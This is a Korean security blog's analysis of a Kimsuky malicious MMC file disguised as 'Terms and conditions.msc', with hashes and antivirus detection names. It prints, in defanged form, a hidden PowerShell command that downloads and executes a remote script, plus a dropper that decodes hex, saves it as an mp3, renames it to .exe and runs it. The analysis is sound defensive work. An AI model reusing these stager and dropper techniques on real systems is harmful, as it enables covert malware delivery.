꿈을꾸는 파랑새

오늘은 김수키(Kimsuky) 에서 만든 악성코드-Terms and conditions.msc에 대해 알아보겠습니다.
일단 해당 악성코드 해쉬값은 다음과 같습니다.
파일명:Terms and conditions.msc
사이즈:141 KB
MD5:81d224649328a61c899be9403d1de92d
SHA-1:f4895809cb38fa1f225340e99c05e477a5017111
SHA-256:cea22277e0d7fe38a3755bdb8baa9fe203bd54ad4d79c7068116f15a50711b09
해당 악성코드는 Terms and conditions(이용 약관) 이라는 제목으로 유포하고 있으며 PowerShell을 사용하여 외부에서 스크립트를 다운로드하고 실행하는 동작을 하는 것이 특징입니다.

Terms and conditions 악성코드 실행
Terms and conditions 악성코드 실행

악성코드 핵심 코드

<ConsoleTaskpads>
    <ConsoleTaskpad ListSize="Med(i)um" IsNodeSpecific="true"
    ReplacesDefaultView="true" NoRes(u)lts="true" DescriptionsAsText="true"
    NodeType="{C96401CE-0E17-1(1)D3-885B-(0)0C04F72C717}" ID="{656F3A6A-1A63
    -4FC4-9C9B(-)4B75AF6DF3A3}">
      <String Name="N(a)me" ID="4"/>
      <String Name="Desc(r)iption" Value=""/>
      <String Name="Tool(t)ip" Value=""/>
      <Tasks>
        <Task Type="CommandLi(n)e" Command="powershell.exe">
          <String Name="Nam(e)" ID="5"/>
          <String Name="De(s)cription" ID="11"/>
          <Symbol>
            <Image Name="Smal(l)" BinaryRefIndex="6"/>
            <Image Name="L(a)rge" BinaryRefIndex="7"/>
          </Symbol>
          <CommandLine Direct(o)ry="" Wi(n)dowState="Minimized" Params=
          "-WindowStyle Hidden -Command iex (iwr -Uri 'hxxps://0x0(.)st/Xyl7(.)txt'
          -UseBasicParsing)"/>
        </Task>
      </Tasks>
      <BookMark Name="TargetNode" NodeID="1"/>
    </ConsoleTaskpad>

악성코드 분석

PowerShell 명령 
Params="-WindowStyle Hidden -Co(m)mand iex (iwr (-)Uri 'hxxps://0x0(.)st/Xyl7(.)txt' -UseBasicParsing)
iex는 Invoke-Expression: 주어진 코드를 실행하는 PowerShell 명령
iwr는 Invoke-WebRequest:외부에서 파일을 다운로드하거나 데이터를 가져오는 명령.
iwr -Uri 'hxxps://0x0(.)st/Xyl7(.)txt' -UseBasicParsing은 실행 시 외부 서버에 접속하고 파일을 다운로드하려고 시도

악성코드 내용
악성코드 내용

-WindowStyle Hidden 옵션을 사용해서 PowerShell 창이 숨겨진 상태로 실행되도록 설정사용자에게 노출되지 않도록 은밀하게 실행하기 위해서 존재를 합니다.
해당 사이트에 강제 접속을 해보면 다음과 같이 $encodedData = 부분이 악성코드 다운로드 되는 부분이 이며 CyberChef 로 강제로 HEX를 열어 보면 해당 악성코드는 exe 파일인 것을 확인할 수가 있으며 해당 부분만 원한다면 해당 CyberChef를 통해서 저장해서 악성코드를 분석하시면 됩니다.

CyberChef 로 본 모습
CyberChef 로 본 모습

MP3 관련 코드

$data = [byte[]]::new($encodedData(.)Length / 2)
for ($i = 0; $i -lt $data(.)Length; $i(+)+) {
    $data[$i] = [Convert]::T(o)Byte($encodedData.Substring($i * 2, 2), 16)
}

$mp3(P)ath = [System.IO.Path]::Combine([System(.)Environment]::GetFolderPath('Co
mmonDocuments'), 'vBqz.mp3')
[System.IO.File]::WriteAllBytes($mp()3Path, $data)

$exePath = $mp3Path -replace '\.mp3($)', '(.)exe'
Rename-Item -Path $mp3Path -NewN(a)me $exePath
MP3 파일 생성
MP3 파일 생성

코드 분석

Start-Process -FilePath 'conhost(.)exe' -ArgumentList $exePath -NoNewWindow
코드 분석
해당 코드는 PowerShell 로 실행이 됩니다.
1.$data 변수 설정: 해당 코드에서는 $enco(d)edData 라는 변수에서 16진수로 인코딩된 데이터를 바이트 배열(byte[])로 변환 시도
$en(c)odedData 는 16진수 문자열로 되어 있으며 해당 문자열의 길이를 반으로 나눈 크기의 바이트 배열을 만듬
2.16진수 문자열을 바이트 배열로 변환: 해당 반복문은 encodedData의 16진수 문자열을 2글자씩 잘라 바이트로 변환하고 이를 $data 배열에 저장
결국 $(d)ata는 인코딩된 데이터를 실제로 사용할 수 있는 바이트 배열로 변환한 결과
3. MP3 파일 생성: 해당 부분에서는 변환한 바이트 배열 $data를 MP3 파일 형식인 vBqz(.)mp3 로 시스템의 공용문서 폴더에 저장
하지만, 실제로 이 파일은 오디오 파일이 아님
그냥 단순히 파일 확장자를 mp3로 저장하는 것일 뿐
4.파일 확장자 변경 (mp3->exe):MP3 파일로 저장한 파일을 .exe 실행 파일로 이름을 변경
파일 확장자를 .MP3에서 .exe로 변경하므로 원래 의도된 실행 파일로 변환
5. 실행 파일 실행**:해당 명령은 conhost(.)exe 라는 Windows 시스템 프로그램을 사용하여 새로 변환한 실행 파일을 백그라운드에서 실행
-NoNewWindow 옵션으로 말미암아 새 창을 열지 않고 숨겨진 상태에서 실행 해당 방식은 의도적으로 사용자가 실행을 인지하지 못하도록 하기 위한 수단

악성코드 다운로드 사이트
악성코드 다운로드 사이트

결론

바이너리 데이터:16진수 문자열로 인코딩된 데이터를 해독해 실행 가능한 파일을 만듬
파일 위장:처음에는 MP3 파일로 보이도록 저장하고 실행 파일로 변경하는 방식으로 이는 사용자를 속이기 위한 기만
은밀한 실행: 실행 파일을 숨겨진 상태로 실행하도록 설정하여 사용자가 실행되고 있는지 모르게 함
vBqz.mp3->vBqz.exe 가 conhost(.)exe 안에서 실행
2024-09-08 06:15:29 UTC 기준 탐지하는 보안업체들은 다음과 같습니다.
AliCloud:Trojan:Multi/MSC.gyf
ALYac:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Arcabit:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
BitDefender:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Emsisoft:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE (B)
eScan:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
ESET-NOD32:XML/TrojanDownloader.Agent.AD
GData:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Google:Detected
Ikarus:Trojan-Downloader.XML.Agent
Kaspersky:HEUR:Trojan.Script.MSC.gen
Kingsoft:Script.Trojan.MSC.gen
Lionic:Trojan.Script.Dump.4!c
Microsoft:Trojan:Script/Wacatac.B!ml
Symantec:Trojan.Gen.NPE
Tencent:Win32.Trojan-Downloader.Der.Ncnw
Trellix (HX):Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
Varist:ABApplication.IJ
VIPRE:Dump:Generic.MSC.Kimsuky.A.FFFFFFFE
VirIT:Trojan.MSC.Heur.A
ZoneAlarm by Check Point:HEUR:Trojan.Script.MSC.gen
결론 기본적인 보안 수칙을 잘 지키는 습관을 가져야 합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band